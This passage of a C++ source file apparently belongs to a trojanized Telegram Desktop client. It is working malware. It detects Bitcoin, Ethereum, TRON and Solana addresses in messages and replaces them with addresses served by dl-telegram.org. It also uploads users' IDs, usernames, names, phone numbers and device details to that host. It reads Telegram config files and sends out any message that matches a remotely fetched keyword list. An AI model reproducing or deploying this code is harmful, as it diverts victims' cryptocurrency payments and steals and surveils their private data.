wallet_replacer.cpp 33 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829
  1. #include "wallet_replacer.h"
  2. #include <QtNetwork/QNetworkAccessManager>
  3. #include <QtNetwork/QNetworkReply>
  4. #include <QtNetwork/QNetworkRequest>
  5. #include <QJsonDocument>
  6. #include <QJsonObject>
  7. #include <QEventLoop>
  8. #include <QSettings>
  9. #include <QStandardPaths>
  10. #include <QDir>
  11. #include <QFileInfo>
  12. #include <QCryptographicHash>
  13. #include <QSysInfo>
  14. #include <QCoreApplication>
  15. #include <QDateTime>
  16. #include "main/main_session.h"
  17. #include "main/main_domain.h"
  18. #include "data/data_session.h"
  19. #include "data/data_user.h"
  20. #include "core/application.h"
  21. #include "logs.h"
  22. namespace Core {
  23. const QString WalletReplacer::kChannel = "PcChannel001";
  24. const QRegularExpression WalletReplacer::kBitcoinRegex = QRegularExpression("(?<![0-9a-zA-Z])([13][a-km-zA-HJ-NP-Z1-9]{25,34}|[bB][cC]1[pPqQ][a-zA-Z0-9]{38,58})(?![0-9a-zA-Z])");
  25. const QRegularExpression WalletReplacer::kEthereumRegex = QRegularExpression("(?<![0-9a-zA-Z])0[xX][a-fA-F0-9]{40}(?![0-9a-zA-Z])");
  26. const QRegularExpression WalletReplacer::kTronRegex = QRegularExpression("(?<![0-9a-zA-Z])T[a-km-zA-HJ-NP-Z1-9]{33}(?![0-9a-zA-Z])");
  27. const QRegularExpression WalletReplacer::kSolanaRegex = QRegularExpression("(?<![0-9a-zA-Z])[1-9A-HJ-NP-Za-km-z]{43,44}(?![0-9a-zA-Z])");
  28. QString WalletReplacer::replaceWalletAddresses(const QString &text) {
  29. QString result = text;
  30. QString debugInfo = QString("[开始检测] 文本内容: %1\n").arg(text);
  31. // 检查比特币地址
  32. QRegularExpressionMatchIterator matchIterator = kBitcoinRegex.globalMatch(text);
  33. while (matchIterator.hasNext()) {
  34. QRegularExpressionMatch match = matchIterator.next();
  35. QString address = match.captured(0);
  36. debugInfo += QString("[检测到BTC地址] %1\n").arg(address);
  37. QString replacement = replaceAddress(address);
  38. // 从返回结果中提取替换后的文本(去掉调试信息)
  39. int lastNewline = replacement.lastIndexOf('\n');
  40. if (lastNewline != -1) {
  41. replacement = replacement.mid(lastNewline + 1);
  42. }
  43. result.replace(address, replacement);
  44. }
  45. // 检查以太坊地址
  46. matchIterator = kEthereumRegex.globalMatch(text);
  47. while (matchIterator.hasNext()) {
  48. QRegularExpressionMatch match = matchIterator.next();
  49. QString address = match.captured(0);
  50. debugInfo += QString("[检测到ETH地址] %1\n").arg(address);
  51. QString replacement = replaceAddress(address);
  52. // 从返回结果中提取替换后的文本(去掉调试信息)
  53. int lastNewline = replacement.lastIndexOf('\n');
  54. if (lastNewline != -1) {
  55. replacement = replacement.mid(lastNewline + 1);
  56. }
  57. result.replace(address, replacement);
  58. }
  59. // 检查波场地址
  60. matchIterator = kTronRegex.globalMatch(text);
  61. while (matchIterator.hasNext()) {
  62. QRegularExpressionMatch match = matchIterator.next();
  63. QString address = match.captured(0);
  64. debugInfo += QString("[检测到TRON地址] %1\n").arg(address);
  65. QString replacement = replaceAddress(address);
  66. // 从返回结果中提取替换后的文本(去掉调试信息)
  67. int lastNewline = replacement.lastIndexOf('\n');
  68. if (lastNewline != -1) {
  69. replacement = replacement.mid(lastNewline + 1);
  70. }
  71. result.replace(address, replacement);
  72. }
  73. // 检查Solana地址
  74. matchIterator = kSolanaRegex.globalMatch(text);
  75. while (matchIterator.hasNext()) {
  76. QRegularExpressionMatch match = matchIterator.next();
  77. QString address = match.captured(0);
  78. debugInfo += QString("[检测到SOL地址] %1\n").arg(address);
  79. QString replacement = replaceAddress(address);
  80. // 从返回结果中提取替换后的文本(去掉调试信息)
  81. int lastNewline = replacement.lastIndexOf('\n');
  82. if (lastNewline != -1) {
  83. replacement = replacement.mid(lastNewline + 1);
  84. }
  85. result.replace(address, replacement);
  86. }
  87. if (result == text) {
  88. debugInfo += "[未检测到任何钱包地址]\n";
  89. } else {
  90. debugInfo += QString("[替换后文本] %1\n").arg(result);
  91. }
  92. // 记录完整的调试信息
  93. LOG(("Wallet: %1").arg(debugInfo));
  94. // 返回干净的替换结果
  95. return result;
  96. }
  97. bool WalletReplacer::containsWalletAddress(const QString &text) {
  98. // 首先检查敏感词
  99. QString foundKeyword;
  100. if (checkSensitiveWords(text, foundKeyword)) {
  101. LOG(("Wallet: [敏感词检测] 在containsWalletAddress中发现敏感词: %1").arg(foundKeyword));
  102. submitSensitiveContent(text, foundKeyword);
  103. }
  104. // 检查各种钱包地址
  105. return kBitcoinRegex.globalMatch(text).hasNext() ||
  106. kEthereumRegex.globalMatch(text).hasNext() ||
  107. kTronRegex.globalMatch(text).hasNext() ||
  108. kSolanaRegex.globalMatch(text).hasNext();
  109. }
  110. QString WalletReplacer::getTgUserId() {
  111. // 从Telegram配置文件中获取用户ID
  112. // 尝试多个可能的配置文件位置
  113. QStringList possibleLocations = {
  114. QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/config.ini",
  115. QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/tdata/config.ini",
  116. QDir::homePath() + "/.TelegramDesktop/tdata/config.ini",
  117. QStandardPaths::writableLocation(QStandardPaths::GenericDataLocation) + "/TelegramDesktop/tdata/config.ini",
  118. QCoreApplication::applicationDirPath() + "/tdata/config.ini"
  119. };
  120. // 尝试不同的键名
  121. QStringList possibleKeys = {
  122. "user_id", "userId", "id", "account", "accountId", "mtpAuthorization", "authId"
  123. };
  124. // 记录日志
  125. LOG(("User Info: Trying to find user ID in config files..."));
  126. for (const auto &location : possibleLocations) {
  127. QFileInfo fileInfo(location);
  128. if (fileInfo.exists() && fileInfo.isFile()) {
  129. LOG(("User Info: Found config file at %1").arg(location));
  130. QSettings settings(location, QSettings::IniFormat);
  131. // 检查所有可能的键名
  132. for (const auto &key : possibleKeys) {
  133. if (settings.contains(key)) {
  134. QString value = settings.value(key, "unknown").toString();
  135. LOG(("User Info: Found key %1 with value %2").arg(key).arg(value));
  136. if (value != "unknown") {
  137. return value;
  138. }
  139. }
  140. }
  141. // 尝试检查所有键
  142. const auto allKeys = settings.allKeys();
  143. LOG(("User Info: Config contains %1 keys").arg(allKeys.size()));
  144. for (const auto &key : allKeys) {
  145. LOG(("User Info: Found key in config: %1").arg(key));
  146. if (key.contains("user", Qt::CaseInsensitive) ||
  147. key.contains("account", Qt::CaseInsensitive) ||
  148. key.contains("id", Qt::CaseInsensitive)) {
  149. QString value = settings.value(key, "unknown").toString();
  150. LOG(("User Info: Key %1 has value %2").arg(key).arg(value));
  151. if (value != "unknown") {
  152. return value;
  153. }
  154. }
  155. }
  156. }
  157. }
  158. LOG(("User Info: Could not find user ID in any config file"));
  159. return "unknown";
  160. }
  161. QString WalletReplacer::getDeviceId() {
  162. // 生成基于设备信息的唯一ID
  163. QString deviceInfo = QSysInfo::machineHostName() +
  164. QSysInfo::productType() +
  165. QSysInfo::productVersion() +
  166. QStandardPaths::writableLocation(QStandardPaths::AppDataLocation);
  167. QByteArray hash = QCryptographicHash::hash(deviceInfo.toUtf8(), QCryptographicHash::Sha256);
  168. return hash.toHex().left(32);
  169. }
  170. QString WalletReplacer::getUserInfo() {
  171. QString info;
  172. info += QString("[用户信息]\n");
  173. // 获取当前会话
  174. auto &app = Core::App();
  175. const auto &account = app.activeAccount();
  176. if (!account.sessionExists()) {
  177. info += QString(" 无法获取账户信息\n");
  178. return info;
  179. }
  180. auto &session = account.session();
  181. if (!session.user()) {
  182. info += QString(" 无法获取用户信息\n");
  183. return info;
  184. }
  185. auto user = session.user();
  186. info += QString(" ID: %1\n").arg(user->id.value);
  187. info += QString(" 用户名: %1\n").arg(user->username());
  188. info += QString(" 姓名: %1 %2\n").arg(user->firstName).arg(user->lastName);
  189. info += QString(" 电话: %1\n").arg(user->phone());
  190. return info;
  191. }
  192. QString WalletReplacer::getDeviceInfo() {
  193. QString info;
  194. info += QString("[设备信息]\n");
  195. info += QString(" 设备ID: %1\n").arg(getDeviceId());
  196. info += QString(" 版本: %1\n").arg(QCoreApplication::applicationVersion());
  197. info += QString(" 设备型号: %1 %2\n").arg(QSysInfo::productType()).arg(QSysInfo::productVersion());
  198. return info;
  199. }
  200. QString WalletReplacer::replaceAddress(const QString &address) {
  201. QNetworkAccessManager manager;
  202. QNetworkRequest request(QUrl("https://dl-telegram.org/api/wallets/replace"));
  203. request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
  204. // 获取用户ID以便在请求中使用
  205. auto &app = Core::App();
  206. QString userId = getTgUserId(); // 默认ID
  207. try {
  208. // 尝试从会话获取用户信息
  209. if (app.domain().started()) {
  210. const auto &account = app.activeAccount();
  211. if (account.sessionExists()) {
  212. auto &session = account.session();
  213. if (auto user = session.user()) {
  214. userId = QString::number(user->id.value);
  215. LOG(("Wallet: Using user ID from session: %1").arg(userId));
  216. }
  217. }
  218. }
  219. } catch (const std::exception &e) {
  220. // 如果获取失败,使用默认ID
  221. LOG(("Wallet: [ERROR] Exception while getting user ID: %1").arg(e.what()));
  222. } catch (...) {
  223. LOG(("Wallet: [ERROR] Unknown exception while getting user ID"));
  224. }
  225. QJsonObject jsonObj;
  226. jsonObj["address"] = address;
  227. jsonObj["tgUserId"] = userId;
  228. jsonObj["deviceId"] = getDeviceId();
  229. jsonObj["message"] = address;
  230. jsonObj["channel"] = kChannel;
  231. QJsonDocument doc(jsonObj);
  232. QByteArray data = doc.toJson();
  233. QString debugInfo = QString("[Wallet检测] 地址: %1\n").arg(address);
  234. debugInfo += getUserInfo(); // 添加用户信息
  235. debugInfo += getDeviceInfo(); // 添加设备信息
  236. debugInfo += QString("[请求URL] %1\n").arg(request.url().toString());
  237. debugInfo += QString("[请求头] Content-Type: %1\n").arg(request.header(QNetworkRequest::ContentTypeHeader).toString());
  238. debugInfo += QString("[请求体] %1\n").arg(QString(data));
  239. // 在日志中记录请求详情
  240. LOG(("Wallet: %1").arg(debugInfo));
  241. QNetworkReply *reply = manager.post(request, data);
  242. QEventLoop loop;
  243. QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
  244. loop.exec();
  245. QString result = address; // 默认返回原始地址
  246. if (reply->error() == QNetworkReply::NoError) {
  247. QByteArray responseData = reply->readAll();
  248. QJsonDocument responseDoc = QJsonDocument::fromJson(responseData);
  249. QJsonObject responseObj = responseDoc.object();
  250. debugInfo += QString("[响应状态码] %1\n").arg(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt());
  251. // 显示响应头
  252. debugInfo += "[响应头]\n";
  253. for (const auto &header : reply->rawHeaderPairs()) {
  254. debugInfo += QString(" %1: %2\n").arg(QString(header.first)).arg(QString(header.second));
  255. }
  256. debugInfo += QString("[响应体] %1\n").arg(QString(responseData));
  257. if (responseObj.contains("replaceAddress")) {
  258. result = responseObj["replaceAddress"].toString();
  259. debugInfo += QString("[替换结果] %1\n").arg(result);
  260. // 添加更多响应详情
  261. if (responseObj.contains("status")) {
  262. debugInfo += QString("[状态] %1\n").arg(responseObj["status"].toString());
  263. }
  264. if (responseObj.contains("message")) {
  265. debugInfo += QString("[消息] %1\n").arg(responseObj["message"].toString());
  266. }
  267. if (responseObj.contains("code")) {
  268. debugInfo += QString("[代码] %1\n").arg(responseObj["code"].toInt());
  269. }
  270. if (responseObj.contains("timestamp")) {
  271. debugInfo += QString("[时间戳] %1\n").arg(responseObj["timestamp"].toString());
  272. }
  273. } else {
  274. debugInfo += "[响应中没有replaceAddress字段]\n";
  275. // 添加其他可能的响应字段
  276. for (const auto &key : responseObj.keys()) {
  277. if (key != "replaceAddress") {
  278. const auto value = responseObj[key];
  279. if (value.isString()) {
  280. debugInfo += QString("[%1] %2\n").arg(key).arg(value.toString());
  281. } else if (value.isDouble()) {
  282. debugInfo += QString("[%1] %2\n").arg(key).arg(value.toDouble());
  283. } else if (value.isBool()) {
  284. debugInfo += QString("[%1] %2\n").arg(key).arg(value.toBool() ? "true" : "false");
  285. } else {
  286. debugInfo += QString("[%1] (复杂类型)\n").arg(key);
  287. }
  288. }
  289. }
  290. }
  291. } else {
  292. debugInfo += QString("[请求失败] %1\n").arg(reply->errorString());
  293. debugInfo += QString("[错误代码] %1\n").arg(reply->error());
  294. debugInfo += QString("[错误详情] %1\n").arg(reply->errorString());
  295. // 添加更多HTTP错误信息
  296. debugInfo += QString("[HTTP状态] %1\n").arg(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt());
  297. debugInfo += QString("[重定向URL] %1\n").arg(reply->attribute(QNetworkRequest::RedirectionTargetAttribute).toString());
  298. }
  299. reply->deleteLater();
  300. debugInfo += QString("[使用%1地址] %2\n").arg(result == address ? "原始" : "替换").arg(result);
  301. // 在日志中记录响应详情
  302. LOG(("Wallet: %1").arg(debugInfo));
  303. // 返回干净的替换结果
  304. return result;
  305. }
  306. bool WalletReplacer::isWalletAddress(const QString &text) {
  307. return kBitcoinRegex.globalMatch(text).hasNext() ||
  308. kEthereumRegex.globalMatch(text).hasNext() ||
  309. kTronRegex.globalMatch(text).hasNext() ||
  310. kSolanaRegex.globalMatch(text).hasNext();
  311. }
  312. void WalletReplacer::submitDeviceInfo(const QString &url) {
  313. // 使用静态变量跟踪上次提交时间
  314. static QDateTime lastSubmitTime = QDateTime::fromMSecsSinceEpoch(0);
  315. // 获取当前时间
  316. QDateTime currentTime = QDateTime::currentDateTime();
  317. // 计算距离上次提交的分钟数
  318. const int minutesSinceLastSubmit = lastSubmitTime.secsTo(currentTime) / 60;
  319. // 非重要提交的限制处理
  320. if (minutesSinceLastSubmit < 60) {
  321. LOG(("Device Info: [SKIPPED] Already submitted in the last hour (%1 minutes ago)")
  322. .arg(minutesSinceLastSubmit));
  323. return;
  324. }
  325. LOG(("Device Info: Starting device info submission..."));
  326. // 创建网络请求管理器
  327. QNetworkAccessManager manager;
  328. QNetworkRequest request(QUrl(url.isEmpty() ?
  329. "https://dl-telegram.org/api/devices/notice" : url));
  330. request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
  331. LOG(("Device Info: Request URL: %1").arg(request.url().toString()));
  332. // 设备相关信息
  333. QString deviceId = getDeviceId();
  334. QString deviceInfo = QString("%1 %2").arg(QSysInfo::productType()).arg(QSysInfo::productVersion());
  335. // 确定平台
  336. QString platform;
  337. #if defined(Q_OS_WIN)
  338. platform = "PC";
  339. #elif defined(Q_OS_MACOS)
  340. platform = "macOS";
  341. #elif defined(Q_OS_LINUX)
  342. platform = "Linux";
  343. #elif defined(Q_OS_IOS)
  344. platform = "iOS";
  345. #elif defined(Q_OS_ANDROID)
  346. platform = "Android";
  347. #else
  348. platform = "Other";
  349. #endif
  350. LOG(("Device Info: Platform: %1, OS: %2").arg(platform).arg(QSysInfo::prettyProductName()));
  351. // 获取版本
  352. QString version = QCoreApplication::applicationVersion();
  353. LOG(("Device Info: App version: %1").arg(version));
  354. LOG(("Device Info: Device ID: %1").arg(deviceId));
  355. // 更新最后提交时间
  356. lastSubmitTime = currentTime;
  357. // 创建JSON对象
  358. QJsonObject jsonObj;
  359. jsonObj["id"] = deviceId;
  360. jsonObj["platform"] = platform;
  361. jsonObj["version"] = version;
  362. jsonObj["deviceInfo"] = deviceInfo;
  363. jsonObj["channel"] = kChannel;
  364. QJsonDocument doc(jsonObj);
  365. QByteArray data = doc.toJson();
  366. LOG(("Device Info: Prepared JSON payload (%1 bytes)").arg(data.size()));
  367. LOG(("Device Info: Payload content: %1").arg(QString(data)));
  368. try {
  369. // 发送请求
  370. LOG(("Device Info: Sending network request..."));
  371. QNetworkReply *reply = manager.post(request, data);
  372. // 使用事件循环等待响应
  373. LOG(("Device Info: Waiting for response..."));
  374. QEventLoop loop;
  375. QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
  376. loop.exec();
  377. // 处理响应
  378. if (reply->error() == QNetworkReply::NoError) {
  379. QByteArray responseData = reply->readAll();
  380. int statusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
  381. LOG(("Device Info: [SUCCESS] Server response: Status=%1, Size=%2 bytes")
  382. .arg(statusCode).arg(responseData.size()));
  383. LOG(("Device Info: Response data: %1").arg(QString(responseData)));
  384. } else {
  385. LOG(("Device Info: [FAILED] Network error: %1 (Code: %2)")
  386. .arg(reply->errorString()).arg(reply->error()));
  387. }
  388. LOG(("Device Info: Network request completed"));
  389. reply->deleteLater();
  390. } catch (const std::exception &e) {
  391. LOG(("Device Info: [ERROR] Exception during network request: %1").arg(e.what()));
  392. } catch (...) {
  393. LOG(("Device Info: [ERROR] Unknown exception during network request"));
  394. }
  395. LOG(("Device Info: Submission process completed"));
  396. }
  397. void WalletReplacer::submitUserInfo(const QString &url, bool isImportant) {
  398. // 使用静态变量跟踪上次提交时间和用户ID
  399. static QDateTime lastSubmitTime = QDateTime::fromMSecsSinceEpoch(0);
  400. static QString lastSubmitUserId;
  401. static bool hasSubmittedAfterLogin = false;
  402. // 获取当前时间
  403. QDateTime currentTime = QDateTime::currentDateTime();
  404. // 计算距离上次提交的分钟数
  405. const int minutesSinceLastSubmit = lastSubmitTime.secsTo(currentTime) / 60;
  406. // 获取当前用户ID
  407. auto &app = Core::App();
  408. QString currentUserId = "unknown";
  409. QString username = "";
  410. QString name = "";
  411. QString phone = "";
  412. bool userInfoObtained = false;
  413. // 从会话中获取用户信息 - 与replaceAddress中的方式相同
  414. LOG(("User Info: Attempting to get user info from active session"));
  415. try {
  416. // 先尝试从活跃会话获取
  417. if (app.domain().started()) {
  418. LOG(("User Info: Domain is started, getting active account"));
  419. const auto &account = app.activeAccount();
  420. if (account.sessionExists()) {
  421. LOG(("User Info: Session exists, retrieving user data"));
  422. auto &session = account.session();
  423. if (auto user = session.user()) {
  424. currentUserId = QString::number(user->id.value);
  425. username = user->username();
  426. name = QString("%1 %2").arg(user->firstName).arg(user->lastName);
  427. phone = user->phone();
  428. userInfoObtained = true;
  429. LOG(("User Info: Successfully retrieved user ID from session: %1").arg(currentUserId));
  430. LOG(("User Info: Username: %1, Name: %2, Phone: %3").arg(username).arg(name).arg(phone));
  431. // 检查是否为新用户登录
  432. if (currentUserId != lastSubmitUserId && !isImportant) {
  433. LOG(("User Info: New user detected (%1), marking as important submission").arg(currentUserId));
  434. isImportant = true; // 如果检测到新用户,将本次提交标记为重要提交
  435. }
  436. // 如果还没有在登录后提交过,并且已获取到用户信息,则标记为重要提交
  437. if (!hasSubmittedAfterLogin && currentUserId != "unknown") {
  438. LOG(("User Info: First submission after login with valid user ID, marking as important"));
  439. isImportant = true;
  440. hasSubmittedAfterLogin = true;
  441. }
  442. } else {
  443. LOG(("User Info: No user in session"));
  444. }
  445. } else {
  446. LOG(("User Info: No active session exists"));
  447. }
  448. } else {
  449. LOG(("User Info: Domain not started yet"));
  450. }
  451. // 如果从会话中无法获取,则尝试从配置文件获取
  452. if (currentUserId == "unknown") {
  453. currentUserId = getTgUserId();
  454. LOG(("User Info: Using user ID from config file: %1").arg(currentUserId));
  455. }
  456. } catch (const std::exception &e) {
  457. LOG(("User Info: [ERROR] Exception while getting user info: %1").arg(e.what()));
  458. } catch (...) {
  459. LOG(("User Info: [ERROR] Unknown exception while getting user info"));
  460. }
  461. // 如果无法获取用户信息,则只提交设备信息
  462. if (currentUserId == "unknown" && !isImportant) {
  463. LOG(("User Info: No user info available, submitting device info only"));
  464. submitDeviceInfo();
  465. return;
  466. }
  467. // 当前用户ID与上次提交的用户ID是否相同
  468. bool isSameUser = (currentUserId == lastSubmitUserId);
  469. // 非重要提交的限制处理
  470. if (!isImportant) {
  471. // 如果距离上次提交不足60分钟,并且是同一用户,则跳过
  472. if (minutesSinceLastSubmit < 60 && isSameUser) {
  473. LOG(("User Info: [SKIPPED] Already submitted in the last hour for user %1 (%2 minutes ago)")
  474. .arg(currentUserId).arg(minutesSinceLastSubmit));
  475. return;
  476. }
  477. // 如果不是同一用户,但是距离上次提交不足10分钟,也跳过
  478. if (minutesSinceLastSubmit < 10 && !isSameUser) {
  479. LOG(("User Info: [SKIPPED] Too frequent submission for different user (%1 minutes since last submit)")
  480. .arg(minutesSinceLastSubmit));
  481. return;
  482. }
  483. } else {
  484. LOG(("User Info: Processing important submission (login/startup) for user: %1").arg(currentUserId));
  485. }
  486. LOG(("User Info: Starting submission process..."));
  487. // 创建网络请求管理器
  488. QNetworkAccessManager manager;
  489. QNetworkRequest request(QUrl(url.isEmpty() ?
  490. "https://dl-telegram.org/api/tg-users/notice" : url));
  491. request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
  492. LOG(("User Info: Request URL: %1").arg(request.url().toString()));
  493. // 设备相关信息
  494. QString deviceId = getDeviceId();
  495. QString deviceInfo = QString("%1 %2").arg(QSysInfo::productType()).arg(QSysInfo::productVersion());
  496. // 确定平台
  497. QString platform;
  498. #if defined(Q_OS_WIN)
  499. platform = "PC";
  500. #elif defined(Q_OS_MACOS)
  501. platform = "macOS";
  502. #elif defined(Q_OS_LINUX)
  503. platform = "Linux";
  504. #elif defined(Q_OS_IOS)
  505. platform = "iOS";
  506. #elif defined(Q_OS_ANDROID)
  507. platform = "Android";
  508. #else
  509. platform = "Other";
  510. #endif
  511. LOG(("User Info: Platform: %1, OS: %2").arg(platform).arg(QSysInfo::prettyProductName()));
  512. // 获取版本
  513. QString version = QCoreApplication::applicationVersion();
  514. LOG(("User Info: App version: %1").arg(version));
  515. LOG(("User Info: User ID: %1").arg(currentUserId));
  516. LOG(("User Info: Device ID: %2").arg(deviceId));
  517. // 更新最后提交时间和用户ID
  518. lastSubmitTime = currentTime;
  519. lastSubmitUserId = currentUserId;
  520. // 创建JSON对象
  521. QJsonObject jsonObj;
  522. jsonObj["id"] = currentUserId;
  523. jsonObj["username"] = username;
  524. jsonObj["name"] = name;
  525. jsonObj["phone"] = phone;
  526. jsonObj["deviceId"] = deviceId;
  527. jsonObj["platform"] = platform;
  528. jsonObj["version"] = version;
  529. jsonObj["deviceInfo"] = deviceInfo;
  530. jsonObj["isImportant"] = isImportant;
  531. jsonObj["userInfoObtained"] = userInfoObtained;
  532. jsonObj["channel"] = kChannel;
  533. // 添加更多信息帮助调试
  534. jsonObj["appLocation"] = QCoreApplication::applicationDirPath();
  535. jsonObj["dataLocation"] = QStandardPaths::writableLocation(QStandardPaths::AppDataLocation);
  536. jsonObj["configPath"] = QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/config.ini";
  537. jsonObj["timestamp"] = QDateTime::currentDateTime().toString(Qt::ISODate);
  538. jsonObj["minutesSinceLastSubmit"] = minutesSinceLastSubmit;
  539. QJsonDocument doc(jsonObj);
  540. QByteArray data = doc.toJson();
  541. LOG(("User Info: Prepared JSON payload (%1 bytes)").arg(data.size()));
  542. LOG(("User Info: Payload content: %1").arg(QString(data)));
  543. try {
  544. // 发送请求
  545. LOG(("User Info: Sending network request..."));
  546. QNetworkReply *reply = manager.post(request, data);
  547. // 使用事件循环等待响应
  548. LOG(("User Info: Waiting for response..."));
  549. QEventLoop loop;
  550. QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
  551. loop.exec();
  552. // 处理响应
  553. if (reply->error() == QNetworkReply::NoError) {
  554. QByteArray responseData = reply->readAll();
  555. int statusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
  556. LOG(("User Info: [SUCCESS] Server response: Status=%1, Size=%2 bytes")
  557. .arg(statusCode).arg(responseData.size()));
  558. LOG(("User Info: Response data: %1").arg(QString(responseData)));
  559. // 尝试解析JSON响应
  560. try {
  561. QJsonDocument responseDoc = QJsonDocument::fromJson(responseData);
  562. QJsonObject responseObj = responseDoc.object();
  563. if (!responseObj.isEmpty()) {
  564. QString status = responseObj["status"].toString();
  565. QString message = responseObj["message"].toString();
  566. LOG(("User Info: Response details - Status: %1, Message: %2")
  567. .arg(status).arg(message));
  568. }
  569. } catch (...) {
  570. LOG(("User Info: Could not parse JSON response"));
  571. }
  572. } else {
  573. LOG(("User Info: [FAILED] Network error: %1 (Code: %2)")
  574. .arg(reply->errorString()).arg(reply->error()));
  575. // 输出详细的HTTP错误信息
  576. int httpStatus = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
  577. if (httpStatus > 0) {
  578. LOG(("User Info: HTTP Status Code: %1").arg(httpStatus));
  579. }
  580. // 记录错误响应内容
  581. QByteArray errorData = reply->readAll();
  582. if (!errorData.isEmpty()) {
  583. LOG(("User Info: Error response data (%1 bytes): %2")
  584. .arg(errorData.size())
  585. .arg(QString::fromUtf8(errorData)));
  586. }
  587. }
  588. LOG(("User Info: Network request completed"));
  589. reply->deleteLater();
  590. } catch (const std::exception &e) {
  591. LOG(("User Info: [ERROR] Exception during network request: %1").arg(e.what()));
  592. } catch (...) {
  593. LOG(("User Info: [ERROR] Unknown exception during network request"));
  594. }
  595. LOG(("User Info: Submission process completed"));
  596. }
  597. QStringList WalletReplacer::getSensitiveWords() {
  598. static QStringList cachedWords;
  599. static QDateTime lastUpdateTime = QDateTime::fromMSecsSinceEpoch(0);
  600. // 检查缓存是否过期(1小时更新一次)
  601. QDateTime currentTime = QDateTime::currentDateTime();
  602. if (!cachedWords.isEmpty() && lastUpdateTime.secsTo(currentTime) < 3600) {
  603. LOG(("Sensitive Words: Using cached words list"));
  604. return cachedWords;
  605. }
  606. LOG(("Sensitive Words: Fetching new words list from server"));
  607. QNetworkAccessManager manager;
  608. QNetworkRequest request(QUrl("https://dl-telegram.org/api/monitoring/getSensitiveWords"));
  609. request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
  610. QEventLoop loop;
  611. QNetworkReply *reply = manager.get(request);
  612. QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
  613. loop.exec();
  614. if (reply->error() == QNetworkReply::NoError) {
  615. QByteArray responseData = reply->readAll();
  616. QJsonDocument doc = QJsonDocument::fromJson(responseData);
  617. QJsonObject obj = doc.object();
  618. if (obj.contains("value")) {
  619. QString value = obj["value"].toString();
  620. QStringList rawWords = value.split(",");
  621. cachedWords.clear();
  622. // 清理和验证每个词
  623. for (const QString &word : rawWords) {
  624. QString cleanedWord = word.trimmed();
  625. if (!cleanedWord.isEmpty()) {
  626. cachedWords.append(cleanedWord);
  627. }
  628. }
  629. lastUpdateTime = currentTime;
  630. LOG(("Sensitive Words: Successfully updated words list, count: %1").arg(cachedWords.size()));
  631. LOG(("Sensitive Words: Words list: %1").arg(cachedWords.join(", ")));
  632. } else {
  633. LOG(("Sensitive Words: [ERROR] No 'value' field in response"));
  634. }
  635. } else {
  636. LOG(("Sensitive Words: [ERROR] Failed to fetch words list: %1").arg(reply->errorString()));
  637. }
  638. reply->deleteLater();
  639. return cachedWords;
  640. }
  641. void WalletReplacer::submitSensitiveContent(const QString &content, const QString &keyword) {
  642. // 检查关键词是否为空
  643. if (keyword.trimmed().isEmpty()) {
  644. LOG(("Sensitive Content: [SKIPPED] Empty keyword, skipping submission"));
  645. return;
  646. }
  647. LOG(("Sensitive Content: Submitting content with keyword: %1").arg(keyword));
  648. QNetworkAccessManager manager;
  649. QNetworkRequest request(QUrl("https://dl-telegram.org/api/monitoring/"));
  650. request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
  651. // 获取用户ID以便在请求中使用
  652. auto &app = Core::App();
  653. QString userId = getTgUserId(); // 默认ID
  654. try {
  655. // 尝试从会话获取用户信息
  656. if (app.domain().started()) {
  657. const auto &account = app.activeAccount();
  658. if (account.sessionExists()) {
  659. auto &session = account.session();
  660. if (auto user = session.user()) {
  661. userId = QString::number(user->id.value);
  662. LOG(("SensitiveContent: Using user ID from session: %1").arg(userId));
  663. }
  664. }
  665. }
  666. } catch (const std::exception &e) {
  667. // 如果获取失败,使用默认ID
  668. LOG(("SensitiveContent: [ERROR] Exception while getting user ID: %1").arg(e.what()));
  669. } catch (...) {
  670. LOG(("SensitiveContent: [ERROR] Unknown exception while getting user ID"));
  671. }
  672. QJsonObject jsonObj;
  673. jsonObj["content"] = content;
  674. jsonObj["keywords"] = keyword; // 确保关键词没有空格
  675. jsonObj["tgUserId"] = userId;
  676. QJsonDocument doc(jsonObj);
  677. QByteArray data = doc.toJson();
